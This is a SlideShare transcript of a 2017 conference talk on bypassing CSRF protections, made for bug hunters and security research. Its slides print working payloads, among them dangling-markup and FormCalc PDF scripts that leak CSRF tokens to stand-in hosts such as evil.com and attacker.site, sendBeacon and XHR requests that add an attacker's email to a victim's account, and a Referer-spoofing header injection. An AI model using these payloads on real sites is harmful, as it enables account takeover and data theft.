SlideShare una empresa de Scribd logo
1 de 38
Descargar para leer sin conexión
Neat tricks to bypass
CSRF-protection
Mikhail Egorov @0ang3el
 AppSec Engineer @ Ingram Micro Cloud
 Bug hunter & Security researcher
 Conference speaker https://www.slideshare.net/0ang3el
@0ang3el
About me
 CSRF-protection bypasses that worked for me in 2016/2017
 EasyCSRF extension for Burp
Agenda
 A lot of WebApps still use cookies for session management
 CSRF-protection bypasses
 SameSite cookies feature not widely implemented
 Supported only by Chrome and Opera browsers
 Changes are required on the server-side
Why CSRF-attacks works in 2017?
 Will be excluded from OWASP Top 10 Project 2017
 P2 (High) category in Bugcrowd VRT* (App-Wide CSRF)
CSRF in 2017
* https://bugcrowd.com/vulnerability-rating-taxonomy
 CSRF token
 Double submit cookie
 Content-Type based protection
 Referer-based protection
 Password confirmation (websudo)
 SameSite Cookies (Chrome, Opera)
Popular CSRF-protections
 XSS
 Dangling markup
 Vulnerable subdomains
 Cookie injection
 Change Content-Type
 Non-simple Content-Type
 Bad PDF
 Referer spoof
CSRF-protections bypasses
CSRF Tokens
Double Submit
Cookie
CT-based Referer-based SameSite Cookies
XSS All All All All All
Dangling markup All - - - All*
Subdomain issues All All All - All*
Cookie Injection - All - - All*
Change CT - - All - All*
Non-simple CT - - All with Flash plugin,
IE11/FF ESR with Pdf
plugin
- All*
Bad Pdf IE11/FF ESR with
Pdf plugin
- IE11/FF ESR with Pdf
plugin
- All*
Spoof Referer - - - IE11/FF ESR with Pdf
plugin, Edge
All*
CSRF bypasses – still work for me
All – works for all browsers
All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
 XSS in WebApp allows to bypass the majority of CSRF-
protections
 Just deal with it!!!
Bypass with XSS (1/8)
 WebApp has HTML injection but not XSS (CSP, …)
 The attacker can leak CSRF-token
Bypass with Dangling markup (2/8)
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
 Suppose subdomain foo.example.com is vulnerable to
XSS or subdomain takeover or cookie injection
 The attacker can bypass
 CSRF-token protection
 Double-submit cookie protection
 Content-Type based protection
Bypass with subdomain (3/8)
 WebApp uses CORS for interaction with subdomains
 The attacker can read CSRF-token
Bypass with subdomain (3/8)
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true
 There is an XSS on foo.example.com
 Main domain contains crossdomain.xml
 The attacker can upload JS files to foo.example.com
Bypass with subdomain (3/8)
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>
 The attacker can utilize Service Worker for foo.example.com to
read CSRF-token through Flash
 Amazon CSRF - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
Bypass with subdomain (3/8)
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
 The attacker can inject cookies for parent subdomain and
desired path
 Browser will choose cookie that has specific path (injected
one)
 He can bypass double submit cookie CSRF-protection
Bypass with subdomain (3/8)
 PDF plugin from Adobe support FormCalc scripting
 Adobe PDF plugin currently works in IE11 and Firefox ESR
 get() and post() methods of FormCalc allow to
ex-filtrate CSRF-token
 Kudos to @insertScript
Bypass with bad PDF (4/8)
 Suppose the attacker can upload PDF file to example.com
and share it
 Uploaded file is accessible through API from example.com
 Tip: The attacker tries to upload PDF file as file of another
format (image file)
 PDF plugin doesn’t care about Content-Type or Content-
Disposition headers … it just works …
Bypass with bad PDF (4/8)
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
leak.pdf
Bypass with bad PDF (4/8)
Bypass with bad PDF (4/8)
<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0"
type='application/pdf'>
https://attacker.com/csrf-pdf.html
 The attacker can bypass double submit cookie protection
through cookies injection
 Variants of cookies injection
 CRLF-injection
 Browser bugs (like CVE-2016-9078 in Firefox)
 Etc.
Bypass with Cookies injection (5/8)
 Developers seriously assume that non-standard data format
in the body (i.e. binary) stops CSRF
 Sometimes backend doesn’t validate Content-Type header 
Bypass by changing CT (6/8)
Bypass with PDF plugin (6/8)
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
�addNote � � r �
Bypass with PDF plugin (6/8)
<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true;
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>
https://attacker.com/csrf-thrift.html
 Via HTML forms or XHR api the attacker can send only
“simple” content types
 text/plain
 application/x-www-form-urlencoded
 multipart/form-data
Bypass with arbitrary CT (7/8)
 How to send arbitrary Content-Type header?
 Bugs in browsers (famous navigator.sendBeacon in Chrome)
 Flash plugin + 307 redirect
 PDF plugin + 307 redirect
 Some backend frameworks support URL-parameters to redefine
Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging
Bypass with arbitrary CT (7/8)
 Bug in Chrome
https://bugs.chromium.org/p/chromium/issues/detail?id=490015
 Publicly known for 2 years (2015-2017) - WTF!!!
 navigator.sendBeacon() call allowed to send POST request
with arbitrary content type
Bypass with arbitrary CT (7/8)
Bypass with arbitrary CT (7/8)
<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc', blob );
}
jsonreq();
</script>
https://attacker.com/csrf-sendbeacon.html
Bypass with arbitrary CT (7/8)
How it works - http://research.rootme.in/forging-content-type-header-with-flash/
Bypass with Referer spoof (8/8)
 Bug in MS Edge kudos to @magicmac2000
https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
 It still works, but for GET requests only 
 Maybe your backend doesn’t distinguish GET and POST
requests? 
Bypass with Referer spoof (8/8)
<script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect",
"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}",
"application/json&#x0a;&#x0d;Referer;&#x20;http://example.com")
</script>
Bypass with Referer spoof (8/8)
 PDF plugin will send HTTP header
 Some backends (e.g. Jboss / WildFly) treat space as colon
(end of the header name)
Referer http://example.com
Name :Value
Referer http://example.com
Name :Value
Tips for bughunters
 There are a lot of APIs that have CSRF-protection based on
content type
 Check subdomains for vulnerabilities (XSS, subdomain
takeover, cookie injection)
 Trick with PDF uploading works well
 Convert url-encoded body with CSRF-token to JSON format
without CSRF-token
Tips for bughunters
Good news!
We can automate some checks!
EasyCSRF for Burp
 EasyCSRF works for Burp Suite Free Edition, 223 SLOC in Jython
 Download from https://github.com/0ang3el/EasyCSRF
 Works as Proxy Listener (IProxyListener)
 Modifies requests on the fly (removes CSRF parameters/headers,
changes method, etc.)
 Highlights modified requests in Proxy History
 You can visually judge in browser which modified requests are
failed/succeeded (error messages, no modification occurred, etc.)
EasyCSRF for Burp
EasyCSRF for Burp
EasyCSRF for Burp
1. Change PUT to POST method
2. Remove Origin header
3. Highlight request in Proxy history
Neat tricks to bypass CSRF-protection

Más contenido relacionado

La actualidad más candente

HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
Marco Balduzzi
 

La actualidad más candente (20)

Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versions
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
File upload vulnerabilities & mitigation
File upload vulnerabilities & mitigationFile upload vulnerabilities & mitigation
File upload vulnerabilities & mitigation
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 

Destacado

Destacado (7)

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST API
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM
 
Ctf hello,world!
Ctf hello,world! Ctf hello,world!
Ctf hello,world!
 

Similar a Neat tricks to bypass CSRF-protection

Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)
ClubHack
 

Similar a Neat tricks to bypass CSRF-protection (20)

Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Browser security
Browser securityBrowser security
Browser security
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Cross Site Attacks
Cross Site AttacksCross Site Attacks
Cross Site Attacks
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)
 
Unusual Web Bugs
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugs
 
Web Bugs
Web BugsWeb Bugs
Web Bugs
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 

Último

CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
anilsa9823
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service provider
mohitmore19
 

Último (20)

Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
 
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service provider
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview Questions
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTV
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial Goals
 
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
Microsoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdfMicrosoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdf
 
Diamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionDiamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with Precision
 

Neat tricks to bypass CSRF-protection

  • 1. Neat tricks to bypass CSRF-protection Mikhail Egorov @0ang3el
  • 2.  AppSec Engineer @ Ingram Micro Cloud  Bug hunter & Security researcher  Conference speaker https://www.slideshare.net/0ang3el @0ang3el About me
  • 3.  CSRF-protection bypasses that worked for me in 2016/2017  EasyCSRF extension for Burp Agenda
  • 4.  A lot of WebApps still use cookies for session management  CSRF-protection bypasses  SameSite cookies feature not widely implemented  Supported only by Chrome and Opera browsers  Changes are required on the server-side Why CSRF-attacks works in 2017?
  • 5.  Will be excluded from OWASP Top 10 Project 2017  P2 (High) category in Bugcrowd VRT* (App-Wide CSRF) CSRF in 2017 * https://bugcrowd.com/vulnerability-rating-taxonomy
  • 6.  CSRF token  Double submit cookie  Content-Type based protection  Referer-based protection  Password confirmation (websudo)  SameSite Cookies (Chrome, Opera) Popular CSRF-protections
  • 7.  XSS  Dangling markup  Vulnerable subdomains  Cookie injection  Change Content-Type  Non-simple Content-Type  Bad PDF  Referer spoof CSRF-protections bypasses
  • 8. CSRF Tokens Double Submit Cookie CT-based Referer-based SameSite Cookies XSS All All All All All Dangling markup All - - - All* Subdomain issues All All All - All* Cookie Injection - All - - All* Change CT - - All - All* Non-simple CT - - All with Flash plugin, IE11/FF ESR with Pdf plugin - All* Bad Pdf IE11/FF ESR with Pdf plugin - IE11/FF ESR with Pdf plugin - All* Spoof Referer - - - IE11/FF ESR with Pdf plugin, Edge All* CSRF bypasses – still work for me All – works for all browsers All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
  • 9.  XSS in WebApp allows to bypass the majority of CSRF- protections  Just deal with it!!! Bypass with XSS (1/8)
  • 10.  WebApp has HTML injection but not XSS (CSP, …)  The attacker can leak CSRF-token Bypass with Dangling markup (2/8) <img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
  • 11.  Suppose subdomain foo.example.com is vulnerable to XSS or subdomain takeover or cookie injection  The attacker can bypass  CSRF-token protection  Double-submit cookie protection  Content-Type based protection Bypass with subdomain (3/8)
  • 12.  WebApp uses CORS for interaction with subdomains  The attacker can read CSRF-token Bypass with subdomain (3/8) Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true
  • 13.  There is an XSS on foo.example.com  Main domain contains crossdomain.xml  The attacker can upload JS files to foo.example.com Bypass with subdomain (3/8) <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy>
  • 14.  The attacker can utilize Service Worker for foo.example.com to read CSRF-token through Flash  Amazon CSRF - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/ Bypass with subdomain (3/8) var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); }
  • 15.  The attacker can inject cookies for parent subdomain and desired path  Browser will choose cookie that has specific path (injected one)  He can bypass double submit cookie CSRF-protection Bypass with subdomain (3/8)
  • 16.  PDF plugin from Adobe support FormCalc scripting  Adobe PDF plugin currently works in IE11 and Firefox ESR  get() and post() methods of FormCalc allow to ex-filtrate CSRF-token  Kudos to @insertScript Bypass with bad PDF (4/8)
  • 17.  Suppose the attacker can upload PDF file to example.com and share it  Uploaded file is accessible through API from example.com  Tip: The attacker tries to upload PDF file as file of another format (image file)  PDF plugin doesn’t care about Content-Type or Content- Disposition headers … it just works … Bypass with bad PDF (4/8)
  • 18. <script contentType='application/x-formcalc'> var content = GET("https://example.com/Settings.action"); Post("http://attacker.site/loot",content,"text/plain"); </script> leak.pdf Bypass with bad PDF (4/8)
  • 19. Bypass with bad PDF (4/8) <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> https://attacker.com/csrf-pdf.html
  • 20.  The attacker can bypass double submit cookie protection through cookies injection  Variants of cookies injection  CRLF-injection  Browser bugs (like CVE-2016-9078 in Firefox)  Etc. Bypass with Cookies injection (5/8)
  • 21.  Developers seriously assume that non-standard data format in the body (i.e. binary) stops CSRF  Sometimes backend doesn’t validate Content-Type header  Bypass by changing CT (6/8)
  • 22. Bypass with PDF plugin (6/8) POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 �addNote � � r �
  • 23. Bypass with PDF plugin (6/8) <script> var request = new XMLHttpRequest(); request.open('POST', 'https://example.com/add/note', true); request.withCredentials = true; request.setRequestHeader("Content-type", "text/plain"); var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55', '0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00']; var bin = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { bin[i] = parseInt(data[i], 16); } request.send(bin); </script> https://attacker.com/csrf-thrift.html
  • 24.  Via HTML forms or XHR api the attacker can send only “simple” content types  text/plain  application/x-www-form-urlencoded  multipart/form-data Bypass with arbitrary CT (7/8)
  • 25.  How to send arbitrary Content-Type header?  Bugs in browsers (famous navigator.sendBeacon in Chrome)  Flash plugin + 307 redirect  PDF plugin + 307 redirect  Some backend frameworks support URL-parameters to redefine Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging Bypass with arbitrary CT (7/8)
  • 26.  Bug in Chrome https://bugs.chromium.org/p/chromium/issues/detail?id=490015  Publicly known for 2 years (2015-2017) - WTF!!!  navigator.sendBeacon() call allowed to send POST request with arbitrary content type Bypass with arbitrary CT (7/8)
  • 27. Bypass with arbitrary CT (7/8) <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> https://attacker.com/csrf-sendbeacon.html
  • 28. Bypass with arbitrary CT (7/8) How it works - http://research.rootme.in/forging-content-type-header-with-flash/
  • 29. Bypass with Referer spoof (8/8)  Bug in MS Edge kudos to @magicmac2000 https://www.brokenbrowser.com/referer-spoofing-patch-bypass/  It still works, but for GET requests only   Maybe your backend doesn’t distinguish GET and POST requests? 
  • 30. Bypass with Referer spoof (8/8) <script contentType='application/x-formcalc'> Post("http://attacker.com:8888/redirect", "{""action"":""add-user-email"",""Email"":""attacker@evil.com""}", "application/json&#x0a;&#x0d;Referer;&#x20;http://example.com") </script>
  • 31. Bypass with Referer spoof (8/8)  PDF plugin will send HTTP header  Some backends (e.g. Jboss / WildFly) treat space as colon (end of the header name) Referer http://example.com Name :Value Referer http://example.com Name :Value
  • 32. Tips for bughunters  There are a lot of APIs that have CSRF-protection based on content type  Check subdomains for vulnerabilities (XSS, subdomain takeover, cookie injection)  Trick with PDF uploading works well  Convert url-encoded body with CSRF-token to JSON format without CSRF-token
  • 33. Tips for bughunters Good news! We can automate some checks!
  • 34. EasyCSRF for Burp  EasyCSRF works for Burp Suite Free Edition, 223 SLOC in Jython  Download from https://github.com/0ang3el/EasyCSRF  Works as Proxy Listener (IProxyListener)  Modifies requests on the fly (removes CSRF parameters/headers, changes method, etc.)  Highlights modified requests in Proxy History  You can visually judge in browser which modified requests are failed/succeeded (error messages, no modification occurred, etc.)
  • 37. EasyCSRF for Burp 1. Change PUT to POST method 2. Remove Origin header 3. Highlight request in Proxy history